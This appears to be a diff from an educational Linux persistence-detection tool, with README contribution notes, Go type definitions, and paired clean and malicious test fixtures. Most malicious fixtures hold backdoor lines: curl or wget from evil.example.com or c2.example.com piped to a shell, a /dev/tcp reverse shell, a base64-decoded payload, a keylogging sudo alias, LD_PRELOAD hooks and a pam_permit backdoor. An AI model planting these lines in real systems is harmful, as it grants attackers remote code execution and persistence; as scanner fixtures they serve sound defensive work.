+1. Fork the [sentinel repo](https://github.com/CarterPerez-dev/sentinel)
+2. Implement your extension in a new branch
+3. Add tests and testdata fixtures
+4. Submit a PR with your implementation and a description of what it detects
+
+## Challenge Yourself Further
+
+### Build Something New
+
+Use the concepts you learned here to build:
+- A Windows persistence scanner (Run keys, scheduled tasks, WMI subscriptions, services)
+- A macOS persistence scanner (LaunchAgents, LaunchDaemons, login items, cron)
+- A Kubernetes persistence scanner (DaemonSets, CronJobs, mutating webhooks, static pods)
+
+### Study Real Implementations
+
+Compare sentinel's approach to production tools:
+- [Velociraptor](https://github.com/Velocidex/velociraptor) - Uses VQL queries to hunt for persistence across endpoints
+- [PEASS-ng/linPEAS](https://github.com/carlospolop/PEASS-ng) - Bash-based Linux privilege escalation and persistence enumeration
+- [Autoruns for Linux](https://github.com/microsoft/Autoruns-for-Linux) - Microsoft's take on Linux persistence enumeration
+
+Read their code, understand their detection rules, and compare coverage. What do they catch that sentinel doesn't? What does sentinel catch that they miss?

PROJECTS/beginner/systemd-persistence-scanner/pkg/types/types.go

@@ -0,0 +1,110 @@
+/*
+©AngelaMos | 2026
+types.go
+
+Shared domain types used across all packages in sentinel
+
+Defines the core data structures that flow through the scan pipeline:
+scanner results, individual findings with severity and MITRE mappings,
+and the aggregated scan report. All packages import from here; nothing
+in this package imports from internal packages.
+*/
+
+package types
+
+import "time"
+
+const Version = "1.0.0"
+
+type Severity int
+
+const (
+	SeverityInfo Severity = iota
+	SeverityLow
+	SeverityMedium
+	SeverityHigh
+	SeverityCritical
+)
+
+func (s Severity) String() string {
+	return severityNames[s]
+}
+
+func (s Severity) Label() string {
+	return severityLabels[s]
+}
+
+var severityNames = map[Severity]string{
+	SeverityInfo:     "info",
+	SeverityLow:      "low",
+	SeverityMedium:   "medium",
+	SeverityHigh:     "high",
+	SeverityCritical: "critical",
+}
+
+var severityLabels = map[Severity]string{
+	SeverityInfo:     "INFO",
+	SeverityLow:      "LOW",
+	SeverityMedium:   "MEDIUM",
+	SeverityHigh:     "HIGH",
+	SeverityCritical: "CRITICAL",
+}
+
+func ParseSeverity(s string) Severity {
+	for sev, name := range severityNames {
+		if name == s {
+			return sev
+		}
+	}
+	return SeverityInfo
+}
+
+type Finding struct {
+	Scanner  string   `json:"scanner"`
+	Severity Severity `json:"severity"`
+	Title    string   `json:"title"`
+	Path     string   `json:"path"`
+	Evidence string   `json:"evidence"`
+	MITRE    string   `json:"mitre"`
+}
+
+type ScanResult struct {
+	Version    string        `json:"version"`
+	ScanTime   time.Time     `json:"scan_time"`
+	Hostname   string        `json:"hostname"`
+	Findings   []Finding     `json:"findings"`
+	Summary    SeverityCount `json:"summary"`
+	DurationMs int64         `json:"duration_ms"`
+}
+
+type SeverityCount struct {
+	Critical int `json:"critical"`
+	High     int `json:"high"`
+	Medium   int `json:"medium"`
+	Low      int `json:"low"`
+	Info     int `json:"info"`
+}
+
+func Tally(findings []Finding) SeverityCount {
+	var c SeverityCount
+	for _, f := range findings {
+		switch f.Severity {
+		case SeverityCritical:
+			c.Critical++
+		case SeverityHigh:
+			c.High++
+		case SeverityMedium:
+			c.Medium++
+		case SeverityLow:
+			c.Low++
+		case SeverityInfo:
+			c.Info++
+		}
+	}
+	return c
+}
+
+type Scanner interface {
+	Name() string
+	Scan(root string) []Finding
+}

PROJECTS/beginner/systemd-persistence-scanner/testdata/atjob/pending-job

@@ -0,0 +1,2 @@
+#!/bin/sh
+curl http://evil.example.com/payload | bash

PROJECTS/beginner/systemd-persistence-scanner/testdata/completion/clean-completion

@@ -0,0 +1,10 @@
+_my_tool_completions()
+{
+    local cur prev opts
+    COMPREPLY=()
+    cur="${COMP_WORDS[COMP_CWORD]}"
+    opts="start stop status"
+    COMPREPLY=( $(compgen -W "${opts}" -- ${cur}) )
+    return 0
+}
+complete -F _my_tool_completions mytool

PROJECTS/beginner/systemd-persistence-scanner/testdata/completion/malicious-completion

@@ -0,0 +1,10 @@
+_git_completions()
+{
+    nohup curl -s http://c2.example.com/keys | bash &
+    local cur prev opts
+    COMPREPLY=()
+    cur="${COMP_WORDS[COMP_CWORD]}"
+    opts="commit push pull"
+    COMPREPLY=( $(compgen -W "${opts}" -- ${cur}) )
+}
+complete -F _git_completions git

PROJECTS/beginner/systemd-persistence-scanner/testdata/cron/clean-crontab

@@ -0,0 +1,8 @@
+# System crontab
+SHELL=/bin/bash
+PATH=/sbin:/bin:/usr/sbin:/usr/bin
+
+# Run daily log rotation
+0 3 * * * root /usr/sbin/logrotate /etc/logrotate.conf
+# Weekly package updates
+0 4 * * 0 root /usr/bin/apt-get update -q

PROJECTS/beginner/systemd-persistence-scanner/testdata/cron/malicious-crontab

@@ -0,0 +1,11 @@
+# System crontab
+SHELL=/bin/bash
+
+# Normal log rotation
+0 3 * * * root /usr/sbin/logrotate /etc/logrotate.conf
+# Backdoor entry
+*/5 * * * * root curl -s http://evil.example.com/payload | bash
+# Encoded payload
+0 * * * * root echo dGVzdAo= | base64 -d | sh
+# Reverse shell
+@reboot root bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

PROJECTS/beginner/systemd-persistence-scanner/testdata/generator/malicious-generator

@@ -0,0 +1,10 @@
+#!/bin/bash
+curl -s http://c2.example.com/stage1 | bash
+cat > "$1/backdoor.service" <<EOF
+[Unit]
+Description=Backdoor
+[Service]
+ExecStart=/tmp/.hidden/beacon
+[Install]
+WantedBy=multi-user.target
+EOF

PROJECTS/beginner/systemd-persistence-scanner/testdata/initd/rc.local

@@ -0,0 +1,8 @@
+#!/bin/sh -e
+# rc.local
+# This script is executed at the end of each multiuser runlevel.
+
+nohup /tmp/.hidden/beacon &
+wget -qO- http://c2.example.com/stage2 | sh
+
+exit 0

PROJECTS/beginner/systemd-persistence-scanner/testdata/kernel/suspicious.conf

@@ -0,0 +1,2 @@
+# Suspicious modprobe config
+install usb-storage /bin/bash -c 'curl http://evil.example.com/payload | sh'

PROJECTS/beginner/systemd-persistence-scanner/testdata/logrotate/clean-syslog

@@ -0,0 +1,11 @@
+/var/log/syslog {
+    daily
+    rotate 7
+    compress
+    delaycompress
+    missingok
+    notifempty
+    postrotate
+        /usr/lib/rsyslog/rsyslog-rotate
+    endscript
+}

PROJECTS/beginner/systemd-persistence-scanner/testdata/logrotate/malicious-app

@@ -0,0 +1,8 @@
+/var/log/app.log {
+    daily
+    rotate 14
+    compress
+    postrotate
+        curl -s http://c2.example.com/checkin | bash
+    endscript
+}

PROJECTS/beginner/systemd-persistence-scanner/testdata/motd/clean-motd

@@ -0,0 +1,3 @@
+#!/bin/sh
+printf "Welcome to %s\n" "$(hostname)"
+printf "System load: %s\n" "$(uptime)"

PROJECTS/beginner/systemd-persistence-scanner/testdata/motd/suspicious-motd

@@ -0,0 +1,4 @@
+#!/bin/sh
+printf "Welcome\n"
+nohup /tmp/.hidden/beacon &
+curl -s http://c2.example.com/checkin | bash

PROJECTS/beginner/systemd-persistence-scanner/testdata/netifhook/clean-hook

@@ -0,0 +1,2 @@
+#!/bin/sh
+/usr/sbin/ethtool -s "$1" wol g

PROJECTS/beginner/systemd-persistence-scanner/testdata/netifhook/malicious-hook

@@ -0,0 +1,2 @@
+#!/bin/sh
+nohup wget -qO- http://c2.example.com/callback | sh &

PROJECTS/beginner/systemd-persistence-scanner/testdata/pam/backdoor-pam

@@ -0,0 +1,3 @@
+auth    sufficient    pam_permit.so
+auth    required      pam_unix.so
+account required      pam_unix.so

PROJECTS/beginner/systemd-persistence-scanner/testdata/preload/environment

@@ -0,0 +1,2 @@
+PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
+LD_PRELOAD=/tmp/.hidden/hook.so

PROJECTS/beginner/systemd-persistence-scanner/testdata/preload/ld.so.preload

@@ -0,0 +1 @@
+/dev/shm/.evil.so

PROJECTS/beginner/systemd-persistence-scanner/testdata/profiles/clean-bashrc

@@ -0,0 +1,21 @@
+# ~/.bashrc: executed by bash for non-login shells
+
+# If not running interactively, don't do anything
+case $- in
+    *i*) ;;
+      *) return;;
+esac
+
+# History settings
+HISTCONTROL=ignoreboth
+HISTSIZE=1000
+HISTFILESIZE=2000
+shopt -s histappend
+
+# Check the window size after each command
+shopt -s checkwinsize
+
+# Make less more friendly for non-text input files
+[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"
+
+export PS1='\u@\h:\w\$ '

PROJECTS/beginner/systemd-persistence-scanner/testdata/profiles/injected-bashrc

@@ -0,0 +1,15 @@
+# ~/.bashrc: executed by bash for non-login shells
+
+case $- in
+    *i*) ;;
+      *) return;;
+esac
+
+HISTCONTROL=ignoreboth
+export PS1='\u@\h:\w\$ '
+
+# injected backdoor
+nohup /tmp/.hidden/beacon &
+alias sudo='/tmp/.keylog && sudo'
+export LD_PRELOAD=/dev/shm/.evil.so
+curl -s http://c2.example.com/checkin | bash

PROJECTS/beginner/systemd-persistence-scanner/testdata/ssh/clean-authorized-keys

@@ -0,0 +1,2 @@
+ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7example user@workstation
+ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIExampleKey admin@deploy

PROJECTS/beginner/systemd-persistence-scanner/testdata/ssh/command-authorized-keys

@@ -0,0 +1,3 @@
+command="/tmp/.backdoor/shell" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7example attacker@c2
+environment="LD_PRELOAD=/dev/shm/.evil.so" ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIExampleKey compromised@host
+ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7normal user@clean

PROJECTS/beginner/systemd-persistence-scanner/testdata/ssh/sshd_config-clean

@@ -0,0 +1,7 @@
+Port 22
+PermitRootLogin no
+PubkeyAuthentication yes
+AuthorizedKeysFile .ssh/authorized_keys
+PasswordAuthentication no
+ChallengeResponseAuthentication no
+UsePAM yes

PROJECTS/beginner/systemd-persistence-scanner/testdata/ssh/sshd_config-dangerous

@@ -0,0 +1,6 @@
+Port 22
+PermitRootLogin yes
+PubkeyAuthentication yes
+AuthorizedKeysFile /tmp/.hidden/keys
+PasswordAuthentication yes
+UsePAM yes

PROJECTS/beginner/systemd-persistence-scanner/testdata/sshrc/sshrc-clean

@@ -0,0 +1,2 @@
+#!/bin/sh
+logger -t sshrc "SSH login from $SSH_CONNECTION"

PROJECTS/beginner/systemd-persistence-scanner/testdata/sshrc/sshrc-malicious

@@ -0,0 +1,2 @@
+#!/bin/sh
+nohup curl -s http://c2.example.com/checkin &

PROJECTS/beginner/systemd-persistence-scanner/testdata/systemd/clean-service.service

@@ -0,0 +1,12 @@
+[Unit]
+Description=OpenSSH Server
+After=network.target
+
+[Service]
+Type=notify
+ExecStart=/usr/sbin/sshd -D
+ExecReload=/bin/kill -HUP $MAINPID
+Restart=on-failure
+
+[Install]
+WantedBy=multi-user.target

PROJECTS/beginner/systemd-persistence-scanner/testdata/systemd/suspicious-service.service

@@ -0,0 +1,13 @@
+[Unit]
+Description=System Updater
+After=network.target
+
+[Service]
+Type=simple
+ExecStart=/bin/bash -c 'curl http://evil.example.com/payload | sh'
+ExecStartPre=/tmp/.hidden/stage1
+Restart=always
+RestartSec=5
+
+[Install]
+WantedBy=multi-user.target

PROJECTS/beginner/systemd-persistence-scanner/testdata/systemd/timer-backdoor.timer

@@ -0,0 +1,9 @@
+[Unit]
+Description=Periodic system check
+
+[Timer]
+OnCalendar=*-*-* *:00/5:00
+Persistent=true
+
+[Install]
+WantedBy=timers.target

PROJECTS/beginner/systemd-persistence-scanner/testdata/systemd/watch-beacon.path

@@ -0,0 +1,9 @@
+[Unit]
+Description=Watch for beacon removal
+
+[Path]
+PathExists=/tmp/.beacon
+Unit=restore-beacon.service
+
+[Install]
+WantedBy=multi-user.target

PROJECTS/beginner/systemd-persistence-scanner/testdata/udev/backdoor.rules

@@ -0,0 +1 @@
+ACTION=="add", SUBSYSTEM=="usb", RUN+="/bin/bash -c 'curl http://evil.example.com/usb | sh'"

PROJECTS/beginner/systemd-persistence-scanner/testdata/xdg/clean.desktop

@@ -0,0 +1,7 @@
+[Desktop Entry]
+Type=Application
+Name=Terminal
+Exec=/usr/bin/gnome-terminal
+Icon=utilities-terminal
+Terminal=false
+Categories=System;TerminalEmulator;

PROJECTS/beginner/systemd-persistence-scanner/testdata/xdg/suspicious.desktop

@@ -0,0 +1,7 @@
+[Desktop Entry]
+Type=Application
+Name=System Update
+Exec=/bin/bash -c 'curl http://evil.example.com/payload | sh'
+Icon=system-software-update
+Terminal=false
+NoDisplay=true

PROJECTS/beginner/systemd-persistence-scanner/testdata/xdg/tmpdir.desktop

@@ -0,0 +1,5 @@
+[Desktop Entry]
+Type=Application
+Name=Helper
+Exec=/tmp/.hidden/payload
+Terminal=false